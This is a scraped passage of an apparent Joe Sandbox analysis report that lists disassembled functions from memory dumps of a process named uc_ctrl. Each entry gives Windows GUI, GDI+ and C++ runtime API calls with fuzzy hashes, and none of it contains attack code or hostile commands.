Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: ClientMessageScreenSendWindow
String ID:
API String ID: 2093367132-0
Opcode ID: 2187d31f7940a4e58aefbc7c3b60b7fef0ca1d204d5cf32c5a251a7d74c901f1
Instruction ID: cd60bc4c8e939ef4577e2a4fd02a3048d2ef49c0be123a39bad1131f9b204d84
Opcode Fuzzy Hash: 2187d31f7940a4e58aefbc7c3b60b7fef0ca1d204d5cf32c5a251a7d74c901f1
Instruction Fuzzy Hash: A541E433500685AEEB304BE5CD78B6E7AB9EB0930CF20552AE455D2D70D7BDC850C706

Function 6D1B60B0 Relevance: 9.1, APIs: 6, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1B60B7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000018,6D1B174C,?,?,?,?,?,?,?,?,%m / %d / %y), ref: 6D1B60C6

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AE064: __EH_prolog3.LIBCMT ref: 6D1AE06B
Part of subcall function 6D1AE064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE56F,00000010,?,?,00000000), ref: 6D1AE076
Part of subcall function 6D1AE064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6D1AE08E
Part of subcall function 6D1AE064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6D1AE0F2

std::locale::~locale.LIBCPMT ref: 6D1B60E2

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3655460422-0
Opcode ID: aa780d48cf8e3285a3c462c23609488e150989735b78a71935c89b8895d83a9c
Instruction ID: 33e1719fa198162eafa87b1c9dc9af604033c9814ce0dd0ba18745ce9055b1aa
Opcode Fuzzy Hash: aa780d48cf8e3285a3c462c23609488e150989735b78a71935c89b8895d83a9c
Instruction Fuzzy Hash: 4541ED70A0425E9FCF05CF50C890AEE7BB1BF69318F058148E9556F299DBB4AE21CF81

Function 6CF1054A Relevance: 9.1, APIs: 6, Instructions: 101windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 6CF10555
SendMessageW.USER32(?,00000146,00000000,00000000), ref: 6CF10576
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 6CF1058A
SendMessageW.USER32(?,00000146,00000000,00000000), ref: 6CF105B7
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 6CF105CB
__EH_prolog3.LIBCMT ref: 6CF105E5

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$H_prolog3Window
String ID:
API String ID: 3728102838-0
Opcode ID: d01fd173571fe199fa135ab6e6d09ed4a4b4ea176289b5a0c14c8ae562f94ee8
Instruction ID: b303e241dd3fc0fd2bc90527a51244851aebf8150a951ad8e738247d9079543d
Opcode Fuzzy Hash: d01fd173571fe199fa135ab6e6d09ed4a4b4ea176289b5a0c14c8ae562f94ee8
Instruction Fuzzy Hash: B531DE31605125BBDB159F60CC44AEFBB79FF093A8F10422DF905A3A90DB61AE14CBA1

Function 6D19EFB0 Relevance: 9.1, APIs: 6, Instructions: 86COMMON

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19EFD4
memcpy.VCRUNTIME140(?,?,?), ref: 6D19EFF3
_malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D19F000
__crtLCMapStringW.MSVCP140(?,00000400,?,?,00000000,?), ref: 6D19F01D

Part of subcall function 6D1A1090: wcsnlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6D19EE7C,?,00000100,?,00000001,?,00000001), ref: 6D1A109F
Part of subcall function 6D1A1090: __crtLCMapStringEx.MSVCP140(?,?,?,?,?,?,?,?,6D19EE7C,?,00000100,?,00000001,?,00000001), ref: 6D1A10C0

__crtLCMapStringW.MSVCP140(?,00000400,?,?,00000000,00000000), ref: 6D19F037
_free_base.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D19F069

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: String__crt$___lc_locale_name_func_free_base_malloc_basememcpywcsnlen
String ID:
API String ID: 912474000-0
Opcode ID: 2978d6a7b98045021a78f41de66a324c10559f92eb54f55ef09d2e4b41e36f81
Instruction ID: a3ead8cbdea1e5e5ac84c4e196a0c6dcafd87dc59b5124e2a622fe0001777cc0
Opcode Fuzzy Hash: 2978d6a7b98045021a78f41de66a324c10559f92eb54f55ef09d2e4b41e36f81
Instruction Fuzzy Hash: 85210672504216BFDB108EA8CC40AAF7BBDFF45760B194259FD20EB288D7B1E91087E0

Function 6CF10E44 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF10E4B

Part of subcall function 6CEFD728: IsWindowEnabled.USER32(?), ref: 6CEFD733

InvalidateRect.USER32(?,00000000,00000001,0000000C), ref: 6CF10E77
UpdateWindow.USER32(?), ref: 6CF10E80

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Window$EnabledH_prolog3InvalidateRectUpdate
String ID:
API String ID: 262192325-0
Opcode ID: 16163595a02d5753668efd729e71c52cd10e0113cca79a009930a33db0190138
Instruction ID: a2840bbd7728bccaa58d9ce5cdec55af13fd88352dd696a5441646be18761a7d
Opcode Fuzzy Hash: 16163595a02d5753668efd729e71c52cd10e0113cca79a009930a33db0190138
Instruction Fuzzy Hash: 2F219D71808344ABCB11DFB5C948EAFBBF9FF89348B21492DE05697A50DB35A509CF21

Function 6D1A45E0 Relevance: 9.1, APIs: 6, Instructions: 67COMMON

Download Yara Rule

APIs

std::ios_base::_Tidy.LIBCPMT ref: 6D1A45F3

Part of subcall function 6D1A48D0: std::ios_base::_Callfns.LIBCPMT(00000000,?,?,6D1A45F8), ref: 6D1A48D6

?_Findarr@ios_base@std@@AAEAAU_Iosarray@12@H@Z.MSVCP140(?,?,?,?,?,?,?,?), ref: 6D1A463B
?_Findarr@ios_base@std@@AAEAAU_Iosarray@12@H@Z.MSVCP140(?,?,?,?,?,?,?,?,?), ref: 6D1A464B
?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z.MSVCP140(00000000,?,?,?,?,?,?,?,?,?,?), ref: 6D1A4667

Part of subcall function 6D1A45B0: new.LIBCMT ref: 6D1A45B9

std::ios_base::_Callfns.LIBCPMT(00000002,?,?,?,?,?,?,?,?,?), ref: 6D1A4676
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,?,00000002,?,?,?,?,?,?,?,?,?), ref: 6D1A468A

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: std::ios_base::_$CallfnsFindarr@ios_base@std@@Iosarray@12@$?clear@ios_base@std@@?register_callback@ios_base@std@@TidyV12@W4event@12@
String ID:
API String ID: 4206128909-0
Opcode ID: 0152aab5dc31cf90ae9266cd72305a08a48f3d6ec051e849a6ee96dd229c3dcb
Instruction ID: 91c389fa12123cad7667d5baf8a73ae8c13d35d6cfe486120db70cc1f03d7786
Opcode Fuzzy Hash: 0152aab5dc31cf90ae9266cd72305a08a48f3d6ec051e849a6ee96dd229c3dcb
Instruction Fuzzy Hash: 1F211678604701AFCB54CF69D480A16FBF5FF4C714B09852AD94D8BB19DBB0E850CBA4

Function 6D0268EE Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6D02649B,6D02126E,6D02187F,?,6D021A8F,?,00000001,?,?,00000001,?,6D0F13B0,0000000C,6D021B78), ref: 6D0268FC
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6D02690A
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6D026923
SetLastError.KERNEL32(00000000,6D021A8F,?,00000001,?,?,00000001,?,6D0F13B0,0000000C,6D021B78,?,00000001,?), ref: 6D026975

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 90ef27eedbe502df1123ef2b6f82eca99dcf93902820698e3054bad51e9a191d
Instruction ID: a19b1c82852668253c7056c67933c1800db3d2a8817e045a86e41e3ffb0e6a5f
Opcode Fuzzy Hash: 90ef27eedbe502df1123ef2b6f82eca99dcf93902820698e3054bad51e9a191d
Instruction Fuzzy Hash: C601883211F7136EFB1516F9ACC4B2B2AACEB07A78BB1432DF660651D0EF92484195D4

Function 6D1BA01E Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1BA025
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D1BA030
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6D1BA048

Part of subcall function 6D1A18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01109540,6D1F3E74,?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?), ref: 6D1A1900
Part of subcall function 6D1A18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000), ref: 6D1A191B

_CxxThrowException.VCRUNTIME140(?,6D1D3BA4,00000000), ref: 6D1BA082
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6D1BA0AA

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: e8c202d5bdd1ee07e8874fa367cbbb8c3d2964d31c707328c63a7b9f21c0de38
Instruction ID: 97f6ff9580665918928880938a353bc9ac72c62a2240d7b76296451144d3faeb
Opcode Fuzzy Hash: e8c202d5bdd1ee07e8874fa367cbbb8c3d2964d31c707328c63a7b9f21c0de38
Instruction Fuzzy Hash: 39018439A086558BCF06EBA4D950BBD73726F94329F164528D611AB38CCFF89D028792

Function 6D1BA0B7 Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1BA0BE
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AED8F), ref: 6D1BA0C9
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6D1BA0E1

Part of subcall function 6D1A18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01109540,6D1F3E74,?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?), ref: 6D1A1900
Part of subcall function 6D1A18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000), ref: 6D1A191B

_CxxThrowException.VCRUNTIME140(?,6D1D3BA4,00000000), ref: 6D1BA11B
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6D1BA143

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: cea034fc6167619e6fe8ee3ff25a295eaff134d84a1553f85fed89aef8709e31
Instruction ID: cbb7d83f0a31892c83c7deabc8c40a88cc437750f43561bebb97afd5aba512be
Opcode Fuzzy Hash: cea034fc6167619e6fe8ee3ff25a295eaff134d84a1553f85fed89aef8709e31
Instruction Fuzzy Hash: 5001D879A0851587CF06EBA4C9406BDB2767F94329F170128D611BB39CCFF89D018B52

Function 6D19A630 Relevance: 9.0, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19A634
_calloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000100,00000002), ref: 6D19A646
__pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19A657
__pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19A674
___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19A681
_wcsdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D19A692

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: __pctype_func$___lc_codepage_func___lc_locale_name_func_calloc_base_wcsdup
String ID:
API String ID: 2457980410-0
Opcode ID: 24d4c91bf9e358d0465ab3897f844ed2e404629fe2fca3652ff29cdb0d319ba5
Instruction ID: 83290d072d415830d2c52a8f8831834b843452dfb870a41be7e199f9fdd1d559
Opcode Fuzzy Hash: 24d4c91bf9e358d0465ab3897f844ed2e404629fe2fca3652ff29cdb0d319ba5
Instruction Fuzzy Hash: 7901FFB55053019FEB019F65E8887697FF4FB06325F04C069E909CF246DBB5D404CB60

Function 6CF2842A Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 225windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF29937: GdipGetImagePixelFormat.GDIPLUS(?,6D12991C,00000000,00000000,?,6CF28458,?,00000000,6D12991C), ref: 6CF29945

GdipBitmapLockBits.GDIPLUS(00000000,?,00000001,?,?,00000000,00000000,?,00000000,00000000,?,?,00000000,6D12991C), ref: 6CF2863A

Part of subcall function 6CF29911: GdipGetImagePaletteSize.GDIPLUS(00000000,00000000,00000000,?,?,6CF2851A,00000000,00000000,?,00000000,00000000,?,?,00000000), ref: 6CF29923

GdipBitmapUnlockBits.GDIPLUS(00000000,?,00000000,?,00000001,?,?,00000000,00000000,?,00000000,00000000,?,?,00000000,6D12991C), ref: 6CF286F7

Part of subcall function 6CF26885: GdipCreateBitmapFromScan0.GDIPLUS(00000000,?,?,00000000,00000000,6D12991C,00000000,?,?,6CF2871D,?,?,?,00022009,?,00000000), ref: 6CF268AC

Part of subcall function 6CF26A86: GdipGetImageGraphicsContext.GDIPLUS(?,6D12991C,00000000,?,?,6CF2872F,?,?,?,?,00022009,?,00000000,00000000,?,00000000), ref: 6CF26AA0

GdipDeleteGraphics.GDIPLUS(?,?,00000000,00000000,?,?,?,?,00022009,?,00000000,00000000,?,00000000,00000000,?), ref: 6CF28748
GdipDisposeImage.GDIPLUS(?,?,?,00000000,00000000,?,?,?,?,00022009,?,00000000,00000000,?,00000000,00000000), ref: 6CF28753

Strings

&, xrefs: 6CF2849B

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Gdip$Image$Bitmap$BitsGraphics$ContextCreateDeleteDisposeFormatFromLockPalettePixelScan0SizeUnlock
String ID: &
API String ID: 157952678-3042966939
Opcode ID: 93fdaef8b1f33cbbad0f830428b017c62726dcdaada03bee9d955a8c3b2aec35
Instruction ID: 63601d89f990a4b8b54076289854b046bb2caf7c5208c2e2d891474203b16934
Opcode Fuzzy Hash: 93fdaef8b1f33cbbad0f830428b017c62726dcdaada03bee9d955a8c3b2aec35
Instruction Fuzzy Hash: 87911EF1A011299BDB248F54CD90BD9B7B4EF48318F4441EAAA09A7601DB34AEC5CF98

Function 00B32B00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

??8CDuiString@UiLib@@QBE_NPB_W@Z.UC_GUILIB(btn_ok), ref: 00B32B56
??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB ref: 00B32B6B
?Close@CWindowWnd@UiLib@@QAEXI@Z.UC_GUILIB(00000001), ref: 00B32CED
?OnClick@WindowImplBase@UiLib@@UAEXAAUtagTNotifyUI@2@@Z.UC_GUILIB(?), ref: 00B32D0C

Strings

btn_ok, xrefs: 00B32B48

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: Lib@@$String@Window$Base@Click@Close@I@2@@ImplNotifyUtagWnd@
String ID: btn_ok
API String ID: 2020314825-2091937784
Opcode ID: 44ac917cf8ef63ab73d535b7ed62b105eb1794a388fb4d5a83f8000a5ae8aa86
Instruction ID: 915a9cb15948236b8879f17934cf2d39650e4708b65fa94731766b57770405bc
Opcode Fuzzy Hash: 44ac917cf8ef63ab73d535b7ed62b105eb1794a388fb4d5a83f8000a5ae8aa86
Instruction Fuzzy Hash: 3C61BD71A006069FDB24DF28C885BAAF7F5FF54714F6486A9D8169B390EB31EC44CB90

Function 6D19E4F8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,6D19DA4C), ref: 6D19E515
isxdigit.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6D19DA4C), ref: 6D19E566

Strings

_, xrefs: 6D19E631
), xrefs: 6D19E636

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: isspaceisxdigit
String ID: )$_
API String ID: 2593999819-3269527998
Opcode ID: c55fd1e07383f63d21de8381486006ebb3c1c842886db1f951b279628b21db89
Instruction ID: 6d197ac43d7d4a3960ef5bb90149b23c8d13a7d75196b3989cfdb6f911082c30
Opcode Fuzzy Hash: c55fd1e07383f63d21de8381486006ebb3c1c842886db1f951b279628b21db89
Instruction Fuzzy Hash: B741E4A994E2979BFB214A18C4503F6BFF77B27721F884456D1E4CF20DE2E09A434715

Function 6D1B2210 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1B2217
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000048), ref: 6D1B2231

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AE064: __EH_prolog3.LIBCMT ref: 6D1AE06B
Part of subcall function 6D1AE064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE56F,00000010,?,?,00000000), ref: 6D1AE076
Part of subcall function 6D1AE064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6D1AE08E
Part of subcall function 6D1AE064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6D1AE0F2

std::locale::~locale.LIBCPMT ref: 6D1B224A

Strings

0123456789-, xrefs: 6D1B225A

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ??1_?getloc@ios_base@std@@Bid@locale@std@@H_prolog3H_prolog3_Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID: 0123456789-
API String ID: 601694680-3850129594
Opcode ID: 80e1d90bb508856f86d2c3acc5f749b8f3c23b535af6c9e8b1c81d84321e9505
Instruction ID: 2049c5a3e0bfea949caf43ead04315bdd4bf81e6649774927bd01fc748691a51
